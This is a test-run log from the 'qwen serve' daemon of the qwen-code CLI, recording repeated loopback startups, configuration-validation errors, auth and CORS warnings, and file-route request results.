at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-5K6qVS/debug/daemon/daemon.log
2026-09-11T22:59:18.471Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid writerIdleTimeoutMs: NaN. Must be a positive integer (milliseconds).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2639:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21723:7
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-Re13Wg/debug/daemon/daemon.log
2026-09-11T22:59:18.673Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: 2147483648. Exceeds maximum JS timer delay of 2147483647 ms (~24.8 days); Node would silently compress longer delays to 1ms.
at assertTimerDelayInRange (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:420:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2591:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21740:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-ti7ggp/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:36089 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=404324 runQwenServeToListenMs=138
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:18.998Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:19.529Z [INFO] [DAEMON] route=GET /capabilities durationMs=61 status=200 request completed
2026-09-11T22:59:19.639Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-AOrYzU/debug/daemon/daemon.log
2026-09-11T22:59:20.321Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid promptDeadlineMs: 2147483648. Exceeds maximum JS timer delay of 2147483647 ms (~24.8 days); Node would silently compress longer delays to 1ms.
at assertTimerDelayInRange (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:420:11)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2591:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21788:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-rDGQkV/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:44497 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=405911 runQwenServeToListenMs=77
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:20.531Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:20.902Z [INFO] [DAEMON] route=GET /capabilities durationMs=16 status=200 request completed
2026-09-11T22:59:20.956Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-yWJtGI/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:33207 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=406598 runQwenServeToListenMs=71
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:21.215Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:21.463Z [INFO] [DAEMON] route=GET /capabilities durationMs=13 status=200 request completed
2026-09-11T22:59:21.492Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-4NPiMj/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:41189 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=407098 runQwenServeToListenMs=88
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:21.707Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:21.970Z [INFO] [DAEMON] route=GET /capabilities durationMs=14 status=200 request completed
2026-09-11T22:59:22.019Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-HFX7XW/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:45489 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=407673 runQwenServeToListenMs=135
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:22.253Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:22.451Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-jZgZdO/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:42007 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=408055 runQwenServeToListenMs=67
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:22.638Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:23.009Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-9ziP0U/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:36381 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=408859 runQwenServeToListenMs=221
qwen serve: --require-auth enabled (bearer token mandatory on every route, including loopback /health).
2026-09-11T22:59:23.693Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:24.623Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-iMRsg6/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve: Web Shell UI is served WITHOUT auth on a non-loopback bind (the static shell has no secrets; the API stays token-gated). Pass --no-web to disable the UI.
qwen serve: without --allow-origin the Web Shell is read-only on a non-loopback bind — same-origin POSTs are blocked by CORS (403). Pass --allow-origin or front it with a same-origin proxy.
qwen serve listening on http://0.0.0.0:33851 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=410517 runQwenServeToListenMs=205
2026-09-11T22:59:25.158Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:25.327Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-fihPdx/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:44085 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=410986 runQwenServeToListenMs=140
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:25.597Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:25.848Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-cYHT6u/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:38649 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=412366 runQwenServeToListenMs=1012
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:27.003Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:27.966Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-Kj0eq6/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:36795 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=414351 runQwenServeToListenMs=700
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:29.030Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:30.222Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-8V5QaD/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://127.0.0.1:42735 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=416078 runQwenServeToListenMs=235
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:30.704Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:31.031Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-ioNdkO/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:31.199Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxConnections: NaN. Must be >= 0 (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5736:11)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:21999:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-ioNdkO/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:31.341Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid maxConnections: -5. Must be >= 0 (0 / Infinity = unlimited).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5736:11)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:22007:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-a3cer3/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://Localhost:37897 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=416998 runQwenServeToListenMs=151
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:31.577Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:31.790Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-2NKOgD/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://[::1]:42587 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=417407 runQwenServeToListenMs=96
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:31.996Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:32.178Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-iAHjL7/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve: Web Shell UI is served WITHOUT auth on a non-loopback bind (the static shell has no secrets; the API stays token-gated). Pass --no-web to disable the UI.
qwen serve: without --allow-origin the Web Shell is read-only on a non-loopback bind — same-origin POSTs are blocked by CORS (403). Pass --allow-origin or front it with a same-origin proxy.
2026-09-11T22:59:32.294Z [ERROR] [DAEMON] daemon startup failed
Error: Invalid --hostname "[2001:db8::1]:8080": brackets indicate an IPv6 literal but the value isn't a clean [addr] form. Pass the address without a trailing :port (use --port for that), e.g. "--hostname [::1] --port 4170".
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5713:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:22054:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-4Xkbyp/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve listening on http://[::1]:46629 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=417898 runQwenServeToListenMs=68
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T22:59:32.729Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:33.284Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-QFDzen/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
qwen serve: Web Shell UI is served WITHOUT auth on a non-loopback bind (the static shell has no secrets; the API stays token-gated). Pass --no-web to disable the UI.
qwen serve: without --allow-origin the Web Shell is read-only on a non-loopback bind — same-origin POSTs are blocked by CORS (403). Pass --allow-origin or front it with a same-origin proxy.
2026-09-11T22:59:33.617Z [ERROR] [DAEMON] daemon startup failed
Error: Invalid --hostname "[]": brackets indicate an IPv6 literal but the value isn't a clean [addr] form. Pass the address without a trailing :port (use --port for that), e.g. "--hostname [::1] --port 4170".
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5713:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:22098:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qwen-serve-runtime-AF01DD/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:33.875Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:35921 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=419516 runQwenServeToListenMs=300
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:34.501Z [INFO] [DAEMON] route=GET /capabilities durationMs=123 status=200 request completed
2026-09-11T22:59:34.597Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-kEl1Vw/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:34.883Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:39297 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=420502 runQwenServeToListenMs=269
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:35.067Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-9AJ4sG/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:35.255Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qwen-runqwen-fs-omMDOB secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36621 (mode=http-bridge, workspace=/tmp/qwen-runqwen-fs-omMDOB)
qwen serve: bound to workspace "/tmp/qwen-runqwen-fs-omMDOB"
qwen serve: startup timing: processToListenMs=420841 runQwenServeToListenMs=233
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:36.048Z [INFO] [DAEMON] route=GET /file durationMs=585 status=200 request completed
2026-09-11T22:59:36.410Z [WARN] [DAEMON] route=GET /file durationMs=87 status=400 request completed
2026-09-11T22:59:36.819Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-G4XQdQ/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:37.175Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qwen-runqwen-rest-fs-pnnfOd secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36667 (mode=http-bridge, workspace=/tmp/qwen-runqwen-rest-fs-pnnfOd)
qwen serve: bound to workspace "/tmp/qwen-runqwen-rest-fs-pnnfOd"
qwen serve: startup timing: processToListenMs=422906 runQwenServeToListenMs=490
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: fs audit emit is the default no-op — 1 event(s) dropped so far. Latest type=fs.denied (errorKind=path_not_found intent=read pathHash=81f46917448959db). Inject deps.fsFactory in createServeApp to wire audit into the EventBus.
2026-09-11T22:59:37.561Z [WARN] [DAEMON] route=GET /file durationMs=22 status=404 request completed
2026-09-11T22:59:37.680Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-r7Ye9h/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:37.817Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qwen-runqwen-trust-JmVCiZ secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:35773 (mode=http-bridge, workspace=/tmp/qwen-runqwen-trust-JmVCiZ)
qwen serve: bound to workspace "/tmp/qwen-runqwen-trust-JmVCiZ"
qwen serve: startup timing: processToListenMs=423395 runQwenServeToListenMs=216
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:38.091Z [INFO] [DAEMON] route=GET /file durationMs=31 status=200 request completed
2026-09-11T22:59:38.237Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-nWB5Pb/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:38.543Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:33037 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=424133 runQwenServeToListenMs=217
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:38.697Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-serve-runtime-oAFxKJ/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:38.874Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:33589 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=424492 runQwenServeToListenMs=276
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:39.078Z [INFO] [DAEMON] daemon stopped
(node:7219) PromiseRejectionHandledWarning: Promise rejection was handled asynchronously (rejection id: 664)
(Use `node --trace-warnings ...` to show where the warning was created)
qwen serve: daemon log → /tmp/qwen-serve-runtime-uCs2Hz/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:39.354Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:40787 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=424938 runQwenServeToListenMs=238
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:39.503Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:39.702Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:46795 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=425283 runQwenServeToListenMs=248
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:39.927Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:40.096Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:40.229Z [INFO] [DAEMON] sessionId=sess-A durationMs=300 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:40.903Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:46367 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=426654 runQwenServeToListenMs=759
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:41.489Z [INFO] [DAEMON] sessionId=subagent.cGFyZW50LTE.YWdlbnQtMQ SSE stream opened
2026-09-11T22:59:41.663Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:41.672Z [INFO] [DAEMON] sessionId=subagent.cGFyZW50LTE.YWdlbnQtMQ durationMs=183 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:41.797Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:46105 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=427385 runQwenServeToListenMs=235
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
